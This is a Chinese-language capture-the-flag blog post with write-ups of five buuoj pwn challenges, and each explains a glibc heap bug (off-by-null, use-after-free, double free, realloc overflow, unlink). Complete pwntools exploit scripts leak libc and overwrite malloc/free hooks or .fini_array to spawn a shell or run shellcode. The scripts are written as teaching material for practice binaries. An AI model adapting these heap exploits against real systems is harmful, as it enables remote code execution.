buuoj Pwn writeup 186-190
186 hwb_2019_mergeheap
最多15个chunk。
show
正常输出。
free
free把程序保护的很好。
merge
这个里面会有漏洞,因为strcpy,strcat都是以’\x00’结尾的,所以我们在merge的时候可以在特定情况下把特定东西带出来。
利用方式
我们先通过常规方式泄露libc地址,然后通过merge来把,某个chunk的大size拉到另外一个chunk的size的位置,来造成overlap,从而进行fastbin attack,来达到利用效果。
因为是ubuntu18,所以我们可以直接攻击free_hook。
ps:这个题输入要注意一下,是自己实现的,不一样。要么被回车截断,要么只能输满,所以我们很多地方后面都要加一个回车。
from pwn import *context.log_level = "debug"r = remote("node3.buuoj.cn", 26562)
#r = process("./186")elf = ELF("./186")
libc = ELF("./64/libc-2.27.so")
one_gadget_18 = [0x4f2c5,0x4f322,0x10a38c]def add(size, content):r.sendlineafter(">>", "1")r.sendlineafter("len:", str(size))r.sendafter("content:", content)def show(index):r.sendlineafter(">>", "2")r.sendlineafter("idx:", str(index))def delete(index):r.sendlineafter(">>", "3")r.sendlineafter("idx:", str(index))def merge(index1, index2):r.sendlineafter(">>", "4")r.sendlineafter("idx1:", str(index1))r.sendlineafter("idx2:", str(index2))for i in range(8):add(0x80, 'aaaaaaaa\n')for i in range(1, 8):delete(i)delete(0)
add(8, 'aaaaaaaa') #0
show(0)
r.recvuntil('a'*8)
malloc_hook = (u64(r.recvuntil('\x7f').ljust(8, '\x00'))&0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
print "libc_base + " + hex(libc_base)add(0x60, 'aaaa\n') #1
add(0x30, 'aaaa'*0x30) #2
add(0x38, 'aaaa'*0x38) #3
add(0x100, 'aaaa\n') #4
add(0x68, 'aaaa\n') #5
add(0x20, 'aaaa\n') #6
add(0x20, 'aaaa\n') #7
add(0x20, 'aaaa\n') #8
add(0x20, '/bin/sh\n') #9delete(5)
delete(7)
delete(8)merge(2, 3) #5
delete(6)
payload = 'a' * 0x28 + p64(0x31) + p64(free_hook) + p64(0) + '\n'
add(0x100, payload) #6 add(0x20, 'hi\n') #7
add(0x20, 'hi\n') #8
add(0x20, p64(system_addr) + '\n') #10
delete(9)r.interactive()
187 nsctf_online_2019_pwn1
add
结构跟上个题很像。
delete
清理的也很干净。
show是假的
update
有防溢出。也有个off by null。
所以思路很清晰,我们就是根据off by null,因为没有show,所以通过攻击IO_file来泄露libc地址,制造overlap,进行攻击。
# -*- coding: utf-8 -*-
from pwn import *#context.log_level = "debug"elf = ELF("./187")
libc = ELF("./64/libc-2.27.so")
_IO_2_1_stdout_s = libc.sym['_IO_2_1_stdout_']
malloc_hook_s = libc.symbols['__malloc_hook']
one_gadget = 0xf1147def add(size,content):r.sendlineafter('5.exit','1')r.sendlineafter('Input the size:',str(size))r.sendafter('Input the content:',content)def delete(index):r.sendlineafter('5.exit','2')r.sendlineafter('Input the index:',str(index))def edit(index, size, content):r.sendlineafter("exit", "4")r.sendlineafter("index:", str(index))r.sendlineafter("size:", str(size))r.sendafter("content:", content)def exp():add(0x80,'a') #0add(0x68,'b') #1add(0xF0,'c') #2add(0x10,'d') #3delete(0)edit(1,0x68,'b'*0x60 + p64(0x70 + 0x90))delete(2)add(0x80,'a') #0add(0x68,'b') #2与1是同一个chunkadd(0xF0,'c') #4delete(0)edit(2,0x68,'b'*0x60 + p64(0x70 + 0x90))delete(4)delete(1)add(0x80,'a') #0delete(0)add(0x80+0x10+2,'a'*0x80 + p64(0) + p64(0x71) + p16((2 << 12) + ((_IO_2_1_stdout_s-0x43) & 0xFFF))) #0add(0x68,'b') #1payload = '\x00'*0x33 + p64(0x0FBAD1887) +p64(0)*3 + p8(0x88)add(0x59,payload) #4libc_base = u64(sh.recv(6).ljust(8,'\x00')) - libc.symbols['_IO_2_1_stdin_']if libc_base >> 40 != 0x7F:raise Exception('error leak!')malloc_hook_addr = libc_base + malloc_hook_sone_gadget_addr = libc_base + one_gadgetprint 'libc_base=',hex(libc_base)print 'malloc_hook_addr=',hex(malloc_hook_addr)print 'one_gadget_addr=',hex(one_gadget_addr)delete(1)edit(2,0x8,p64(malloc_hook_addr - 0x23))add(0x68,'b') #1#申请到malloc_hook-0x23处add(0x60,'\x00'*0x13 + p64(one_gadget_addr)) #5#getshellr.sendlineafter('5.exit','1')r.sendlineafter('Input the size:','1')while True:try:global rr = remote("node3.buuoj.cn", 29957)#r = process("./187")exp()r.interactive()except:r.close()print 'retrying...'
会发现我在send的时候接受没又接受回车,这并不影响正常交互,反而我发现接受回车会让exp跑的时候更容易出问题。所以就去掉了,具体是为点啥我也不大清楚。
188 roarctf_2019_easyheap
刚进去是先可以在bss上输入一些东西。
最多申请10下,然后大小不能超过fastbin。
free就是直接把buf那个free掉,但是显然没有清理指针,可以造成uaf以及double free
show
show利用需要条件,
利用完之后会把标准输出,标准错误都顺路关掉。
有三次机会来利用这个函数,可以通过calloc来申请或释放一个chunk。
因为里面存放指针的只有buf,所以我们的第一个思路,通过fastbin attack可能就不行了。
然后我们观察到其实我们有很多东西都在bss上面,而且这个题他没有开PIE,所以我们尝试着去unlink。
我们想到说大概的思路就是先想办法通过unlink来控制我们的bss,然后使得show能用,泄露libc地址,然后攻击malloc_hook,来getshell。
具体怎么做,那个后门函数怎么去利用呢?
我们的第一次思路是这样的。
我么先利用uaf,把chunk中的fd bk改改,然后通过后门函数做一个unlink,控制bss上的show标记,buf指针,与ptr指针,还能控制到buf指针上面八个字节。
buf可以写got表,show标记填写好,一会直接泄露got表地址。我们需要第二次控制这个地方,因为要把buf写成malloc地址,怎么第二次控制,只能是在bss上面构造一个chunk,然后ptr写成伪造的chunk那个地方,释放,申请,就可以二次控制。但是我们发现思路有问题,我们就没办法改fd bk。
那我们试试能不能double free,需要中间块,那我们就直接从calloc那个块中切割,来当我们的中间块,通过实现在bss上伪造chunk,来申请到bss,覆盖buf等指针达到利用效果
但是问题来了,用了很多次,但是后门函数一共只能用三次,而且那个标志不在我们unlink可以控制到的范围里面,咋整,我们突然发现,那个地方也是有漏洞的。
这个地方无论如何都会减1,所以当我们利用三次之后,第四次,不可以,减1,然后就又可以用了,相当离谱。
所以我们的具体思路也就连起来了。这个题常规思路,比较意外的就是最后一个地方了。
exp
# -*- coding: utf-8 -*-
from pwn import*context.log_level = "debug"r = remote("node3.buuoj.cn", 27054)
#r = process("./188")elf = ELF("./188")
libc = ELF("./64/libc-2.23.so")r.sendafter("please input your username:", p64(0) + p64(0x71)) #这个地方呀要记住千万不要多发一个回车,因为回车会被当做下一个chunk,然后导致后面崩掉
r.sendlineafter("please input your info:", "Yongibaoi")def add(size, content):r.sendlineafter(">> ", "1")r.sendlineafter("input the size\n", str(size))r.sendafter("please input your content", content)def delete():r.sendlineafter(">> ", "2")def show():r.sendlineafter(">> ", "3")def backdoor_1(content):r.sendlineafter(">> ", "666")r.sendlineafter("build or free?\n", "1")r.sendafter("please input your content\n", content)def backdoor_2():r.sendlineafter(">> ", "666")r.sendlineafter("build or free?\n", "2")def add_b(size, content):r.sendline("1")sleep(1)r.sendline(str(size))sleep(1)r.send(content)sleep(1)def delete_b():r.sendline("2")sleep(1)def backdoor_1_b(content):r.sendline("666")sleep(1)r.sendline("1")sleep(1)r.send(content)sleep(1)def backdoor_2_b():r.sendline("666")sleep(1)r.sendline("2")sleep(1)fake_chunk = 0x602060
puts_got = elf.got['puts']backdoor_1("aaaa")
backdoor_2()
add(0x60, "aaaa") #此时,ptr指向的chunk大小从0x100变成了0x70。
add(0x60, "aaaa")
delete()
backdoor_2()
delete() #double free
payload = 'a' * 0x18 + p64(puts_got) + p64(0xDEADBEEFDEADBEEF) + p64(fake_chunk)
add(0x60, p64(fake_chunk))
add(0x60, 'aaaa')
add(0x60, 'aaaa')
add(0x60, payload)
show()
puts_addr = u64(r.recv(6).ljust(8, "\x00"))
libc_base = puts_addr - libc.sym['puts']
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc_addr = libc_base + libc.sym['__libc_realloc']
one_gadget = libc_base + 0xf1147
print "libc_base = " + hex(libc_base)sleep(1)
r.sendline("666")
sleep(1)backdoor_1_b('aaaa')
add_b(0x60, "aaaa")backdoor_2_b()
add_b(0x60, "aaaa")
add_b(0x60, "aaaa")
delete_b()
backdoor_2_b()
delete_b()
add_b(0x60,p64(malloc_hook - 0x23))
add_b(0x60, "aaaa")
add_b(0x60, "aaaa")
add_b(0x60,'\x00'*0xb + p64(one_gadget) + p64(realloc_addr + 0x14))r.sendline("1")
sleep(1)
r.sendline("30")r.interactive()
打通以后要注意因为我们程序的标准输出没了,所以我们要重定向,把输出定向到输入,终端才会有显示。
189 0ctf2015_freenote
进来先在0x6020a8地方申请了一个很大的chunk,然后就是各种清零。
我们先来看new,来分析各种chunk的关系。
那个大的chunk存着各种信息,结构是这样的。
list
正常输出。
edit
会发现
realloc这里的地址没问题,大小这里跟128字节对齐,因为是realloc,作用就是当要写入的大于本来的chunk大小,会释放本来的chunk,然后申请一个大的chunk,返回这个新chunk的地址。
realloc这里会造成溢出。
free
没有清理free指针,但是标志位,大小都清理掉了。
这个题我们能够利用的漏洞就是uaf,跟realloc造成的堆溢出,你或许会想,realloc怎么会造成溢出,他是怎么的一种方式?
我们先来看一下realloc。
size == 0 ,这个时候等同于free
realloc_ptr == 0 && size > 0 , 这个时候等同于malloc
malloc_usable_size(realloc_ptr) >= size, 这个时候等同于edit
malloc_usable_size(realloc_ptr) < szie, 这个时候才是malloc一块更大的内存,将原来的内容复制过去,再将原来的chunk给free掉
在这个题里面当我们realloc的时候如果size大于ptr的size,会首先将原来的chunk释放掉,然后再找一个更大的chunk分配给它,返回这个chunk的地址,但是我们要注意,这里的找一个更大的chunk,有两种不同情况。
1、如果有足够空间用于扩大mem_address指向的内存块,则分配额外内存,并返回mem_address
这里说的是“扩大”,我们知道,realloc是从堆上分配内存的,当扩大一块内存空间时, realloc()试图直接从堆上现存的数据后面的那些字节中获得附加的字节,如果能够满足,自然天下太平。也就是说,如果原先的内存大小后面还有足够的空闲空间用来分配,加上原来的空间大小= newsize。那么就ok。得到的是一块连续的内存。
2、如果原先的内存大小后面没有足够的空闲空间用来分配,那么从堆中另外找一块newsize大小的内存。
我们这道题用到的情况显然是后者。
我们在做题的时候首先申请了5个chunk,然后free掉了2、4.接着对chunk1进行了一次大于chunksize的edit,那么造成的结果是什么,首先释放了chunk1的地址,然后试图寻找对上现存的能用的空间,就找到了2,因为他是空闲的,于是合并再一次,分配给chunk1.所以虽然你是edit的0x90,但是其实返回的chunk是1、2合并起来的0x120.
然后伪造好chunk,做一个unlink就好了。
exp
# -*- coding: utf-8 -*-
from pwn import *context.log_level = "debug"r = remote("node3.buuoj.cn", 27906)
#r = process("./189")
libc = ELF('./64/libc-2.23.so')
elf = ELF('./189')free_got = elf.got['free']def add(size,content):r.sendlineafter('Your choice:','2')r.sendlineafter('Length of new note: ',str(size))r.sendafter('Enter your note:',content)def free(index):r.sendlineafter('Your choice: ','4')r.sendlineafter('Note number: ',str(index))def show():r.sendlineafter('Your choice: ','1')def edit(index,size,content):r.sendlineafter('Your choice: ','3')r.sendlineafter('Note number: ',str(index))r.sendlineafter('Length of note: ',str(size))r.sendafter('Enter your note: ',content)add(0x80,0x80 * 'a') # chunk 0
add(0x80,0x80 * 'a') # chunk 1
add(0x80,0x80 * 'a') # chunk 2
add(0x80,0x80 * 'a') # chunk 3
add(0x80,0x80 * 'a') # chunk 4
edit(4,len("/bin/sh\x00"),"/bin/sh\x00")free(3)
free(1)payload = 0x90 * 'a'
edit(0,len(payload),payload)
show()r.recvuntil(0x90 * 'a')heap_0 = u64(r.recvuntil('\x0a')[:-1].ljust(8, "\x00")) - 0x19a0
heap_4 = heap_0 + 0x1a40fd = heap_0 - 0x18
bk = heap_0 - 0x10
payload = p64(0) + p64(0x80)
payload += p64(fd) + p64(bk)
payload = payload.ljust(0x80,'\x00')
payload += p64(0x80) + p64(0x90)
edit(0,len(payload),payload)free(1)payload = p64(2) + p64(1) + p64(0x8) + p64(free_got) #chunk0 size改为0x8
payload += p64(0) * 9 + p64(1) + p64(8) + p64(heap_4)
payload = payload.ljust(0x90,'\x00')
edit(0,len(payload),payload)
show()
free = u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = free - libc.sym['free']
system = libc_base + libc.sym['system']print hex(libc_base)payload = p64(system)
edit(0,len(payload),payload)r.sendlineafter('Your choice: ','4')
r.sendlineafter('Note number: ',"4")r.interactive()
190 [中关村2019]one_string
运行程序说我啥都知道了,然后靠着这个字符串找到了主函数。
四个选择。
功能还得靠猜,我直呼好家伙。
这个猜的出来就是malloc。
2
你看他还清理的很干净,看得出来是delete。
3
这个edit有点问题,你看他会重新计算chunk大小,我们chunk复用的时候大小会被带进去,下一次就可以直接修改下一个chunk的大小,就可以直接unlink利用。
我们的具体思路就是劫持.finit_array,把shellcode写入bss段,然后在程序退出时执行。
exp
from pwn import *context(arch = 'i386', os = 'linux', log_level = 'debug')r = remote("node3.buuoj.cn", 28478)
#r = process("./190")bss_addr = 0x080EAF80
content = 0x080EBA40
fini_array = 0x080E9F74def add(size, content):r.sendline('1')sleep(0.2)r.sendline(str(size))sleep(0.2)r.send(content)sleep(0.2)def delete(index):r.sendline('2')sleep(0.2)r.sendline(str(index))sleep(0.2)def edit(index,content):r.sendline('3')sleep(0.2)r.sendline(str(index))sleep(0.2)r.send(content)sleep(0.2)r.recvuntil("You know all, Please input:")
add(0x78, 'chunk0\n')
add(0x78, 'chunk1\n')
add(0x78, 'chunk2\n')
add(0x74, 'chunk3\n')
add(0xf8, 'chunk4\n')
add(0x20, 'chunk5\n')payload = 'a' * 0x74
edit(3, payload)payload = p32(0) + p32(0x71) + p32(content+0xc-0xc) + p32(content+0xc-0x8) + 'a'*0x60 + p32(0x70) + '\n'
edit(3, payload)delete(4)payload = p32(bss_addr)*2 + p32(fini_array) + '\n'
edit(3, payload)
edit(3,p32(0x80eba00)+'\n')
edit(0,p32(0x500)*6+'\n')payload = p32(bss_addr)*2 + p32(fini_array) + '\n'
edit(3, payload)shellcode = asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')
#sys_open(file,0,0)shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80')
#sys_read(3,file,0x100)shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')
#sys_write(1,file,0x30)edit(1, shellcode+'\n')
edit(2, p32(bss_addr)*2+'\n')r.sendline('4')r.interactive()
buuoj Pwn writeup 186-190相关推荐
- buuoj Pwn writeup 166-170
166 picoctf_2018_echo back 因为只有一次printf的机会,RELRO半开,不能覆盖fini,我们可以把puts改成vuln来制造循环,再次把printf改成system,来 ...
- buuoj Pwn writeup 106-110
106 zctf2016_note2 保护 菜单堆. new 最多申请4个. 然后里面有个神奇的函数 会把里面的%剔除掉. 申请的chunk最大也只能是fastbin范围的chunk. ptr地方是指 ...
- buuoj Pwn writeup 246-250
246 pwnable_echo1 结构简单. 功能1 就是个输入输出.但是显然有个栈溢出. 功能2功能3没有. 啥保护没有,就栈溢出就完了.可以直接rop,它开了NX.也可以shellcode. 写 ...
- buuoj Pwn writeup 206-210
206 ciscn_2019_c_3 一堆乱七八糟. create 申请空间只有三种,申请到的空间第一个字节为0,应该是个flag,第二个是一个随机数,然后开始输入name,也就是内容. 跟进read ...
- ISCC 2018 PWN WriteUp
1.Login [分值:200]--年轻人的第一道PWN 漏洞位置: 漏洞见上图,BUF大小0x40 读取时读了0x280字节,这样可覆盖掉Menu函数的返回值. 此函数中存在一个可能执行system ...
- [BUGKU][CTF][PWN][2020] PWN writeup
准备UBUNTU pwndbg pwntools PWN1 关键字:nc 知识点:nc使用方法 https://www.cnblogs.com/nmap/p/6148306.html nc命令是一个功 ...
- BUUCTF-PWN rctf_2019_babyheap(house of storm,堆SROP)
目录 题目分析 漏洞利用 Exp 题目分析 程序还有沙箱保护,把execve禁用了,只能orw了 在init中还把fastbin关了 在edit中有一个off-by-null溢出,以前这种情况都是用u ...
- 海量Web日志分析 用Hadoop提取KPI统计指标
海量Web日志分析 用Hadoop提取KPI统计指标 Hadoop家族系列文章,主要介绍Hadoop家族产品,常用的项目包括Hadoop, Hive, Pig, HBase, Sqoop, Mahou ...
- 利用Word将连着一起的字符按照自己指定的”字符串或者字换行“自动换行。
1在写android的Camera代码一项是获取相机硬件的参数,打印出来就一行,即使利用记事本自动换行也是密密麻麻的不好观看如下 RDCameraSDK=true;capture-burst-inte ...
最新文章
- 拉格朗日插值法(Lagrange插值法)
- 【PAT (Advanced Level) Practice】1086 Tree Traversals Again (25 分)
- ymcms SQL注入漏洞
- php处理小程序上传图片,微信小程序上传图片,PHP-Laravel框架实现
- bits/stdc++.h头文件总结
- VC+MO2.0连接ArcSDE并且读出SDE中的空间数据(三)
- Eclipse Rcp系列 http://www.blogjava.net/dreamstone/archive/2007/02/08/98706.html
- android开发中的grid控制
- 不能创建对象qmdispatch_关于系统弹出错误:429 , ActiveX 部件不能创建对象 的解决方法...
- 11.计算机基础之计算机网络基础
- python提示jsondecodeerror是什么意思_Python爬虫解析json遇到一类JSONDecodeError的解决方案...
- 关于let你不知道的知识点——红宝石书笔记记录
- OFFICE、EXCEL、WORD、PPT操作技巧个人笔记本(持续更新)
- 微星B550M MORTAR WIFI 的蓝牙模块消失的解决办法
- 开发人员的人品问题 收藏
- 解决eclipse出现This Android SDK requires Andro...date ADT to the latest version.问题
- 计算机网络—学习笔记
- 2021高考成绩查询衢州,2021浙江衢州中考成绩查询时间 衢州中考成绩查询入口
- SEAY代码审计系统源码
- 【LoadingDialog】标准款待加载对话框
热门文章
- OpenSSL1.1.1没有libeay.dll和ssleay.dll
- 阿里云IOT平台学习(一)--基础概念
- with 语句的使用来保存二进制文件(图片,视频,音频)
- 虚拟机装mac os
- dataframe保存为txt_PDF怎么转换为PPT?PDF秒转PPT秘技
- bilibili有电脑版吗_《和平精英》电脑版?火爆东南亚的轻量版吃鸡《PUBG LITE》好玩吗?...
- Java开发工具安装MySql
- 复旦大学计算机技术参考书,2021复旦大学计算机科学与技术考研真题经验参考书...
- UR5e+robotiq85+kinectV2+gazebo实现物体抓取【4】
- 234-C++11的auto和lambda